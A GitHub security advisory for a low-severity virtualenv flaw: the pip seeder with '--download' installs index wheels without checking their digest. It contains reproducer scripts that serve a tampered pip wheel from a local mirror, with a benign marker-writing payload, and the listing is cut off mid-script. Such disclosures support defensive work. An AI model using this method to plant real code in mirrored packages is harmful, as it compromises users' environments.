GitHub Advisoryadvisory · PyPI

GHSA-cx28-75q4-x26q virtualenv: Pip seeding with download omits wheel digest verification

LOW Published 2026-10-23 Modified 2026-10-23 Official page ↗
Aliases
CVE-2026-113717
Ecosystem
PyPI
Packages
virtualenv
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Weaknesses
CWE-494
Reviewed
2026-10-23

Affected packages

• PyPI virtualenv: < 21.14.9 → fixed in 21.14.9

Description

Summary The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification. Anthropic's OSS Scanner reported this as `ANT-2026-74ALJBUF` in `virtualenv-20261015-005`, received on 15 October 2026. Affected area Wheel selection by the pip seeder when downloads are enabled. Attacker-controlled input The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy. Affected code The relevant 21.14.8 source is in pip seeder. Mechanism With `--seeder pip --download`, `PipInvoke.get_pip_install_cmd()` first calls `get_wheel(download=False)`, so virtualenv's `download_wheel()` and `verify_wheel_digest()` are skipped. It then lets `pip install` consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option. Reproduction and evidence The scanner built a local index named in `pip.conf` that served a modified copy of the bundled pip wheel under the same filename. In the control run, `virtualenv --download env-default` rejected the wheel with a digest mismatch. In the second run, adding `--seeder pip` produced an environment whose installed `pip/__init__.py` matched the index wheel; `env-pip/bin/pip --version` ran the added line. The reproducer checked the installed bytes and marker before reporting `BUG`. Both `--seeder pip` and `--download` are needed. The report used a non-PyPI index from `pip.conf` and left `PIP_INDEX_URL`, `PIP_EXTRA_INDEX_URL`, and `PIP_INDEX` unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled. Attack sequence ```mermaid sequenceDiagram participant I as Index in pip.conf participant V as virtualenv PipInvoke participant P as pip install participant E as Seeded environment I->>V: serve modified pip wheel V->>V: get_wheel(download=False) V->>P: install with --download permitting index lookup P->>I: select same-version index wheel I->>E: modified pip installed without virtualenv digest check E->>E: later pip invocation runs added code Note over V,E: Default app-data seeder rejects the same digest ``` Reproducer files The following files are from the scanner report for `ANT-2026-74ALJBUF`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. `repro` ```text !/usr/bin/env python3 import glob import hashlib import json import os import shutil import subprocess import sys import zipfile from virtualenv.seed.wheels.embed import get_embed_wheel companions = "/tmp/repro.d" work = "/tmp/repro-pip-seeder-download" shutil.rmtree(work, ignore_errors=True) os.makedirs(work) set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network) bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}") pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest() pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}} os.makedirs(f"{work}/pypi.org/pypi/pip") with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json: json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json) attacker: the mirror serves other bytes under the bundled wheel's own file name marker = f"{work}/MIRROR_CODE_RAN" subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True) mirror_wheel = f"{work}/mirror/pip/{bundled.name}" mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest() print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}") print(f"{bundled.name}: the mirror serves sha256 {mirror_sha256}") user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset with open(f"{work}/pip.conf", "w") as pip_conf: pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n") # file:// stands in for the mirror's http URL os.makedirs(f"{work}/home-default") os.makedirs(f"{work}/home-pip") # one HOME per run, so neither sees the other's app-data or pip cache virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"] control: the default seeder with --download fetches the mirror's wheel and refuses it default_seeder = subprocess.run( [*virtualenv, "--download", f"{work}/env-default"], env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")] print(f"\nCONTROL virtualenv --download env-default: exit {default_seeder.returncode}") print("\n".join(refusal)) trigger: the same command plus --seeder pip pip_seeder = subprocess.run( [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"], env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"}, capture_output=True, text=True, ) print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}") print(pip_seeder.stdout) if pip_seeder.returncode == 0: env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True) print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}") check: compare env-pip's pip/__init__.py with the one in each wheel with zipfile.ZipFile(bundled.path) as wheel: bundled_init = wheel.read("pip/__init__.py") with zipfile.ZipFile(mirror_wheel) as wheel: mirror_init = wheel.read("pip/__init__.py") installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py") installed_init = open(installed[0], "rb").read() if installed else b"" refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}" refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout print(f"default seeder refused the mirror's wheel for its digest: {refused}") print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}") print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}") print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK") ``` `repro.d/make_mirror.py` ```text !/usr/bin/env python3 usage: make_mirror.py import os import sys import zipfile genuine_wheel, mirror, marker = sys.argv[1:] wheel_name = os.path.basename(genuine_wheel) payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n" os.makedirs(f"{mirror}/pip") with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served: for entry in genuine.infolist(): data = ge…

Related

Alias · CVE (1)

  • CVE-2026-113717 virtualenv is a tool for creating isolated virtual python environments. vulnerability

Weakness · CWE (1)

  • CWE-494 Download of Code Without Integrity Check weakness

References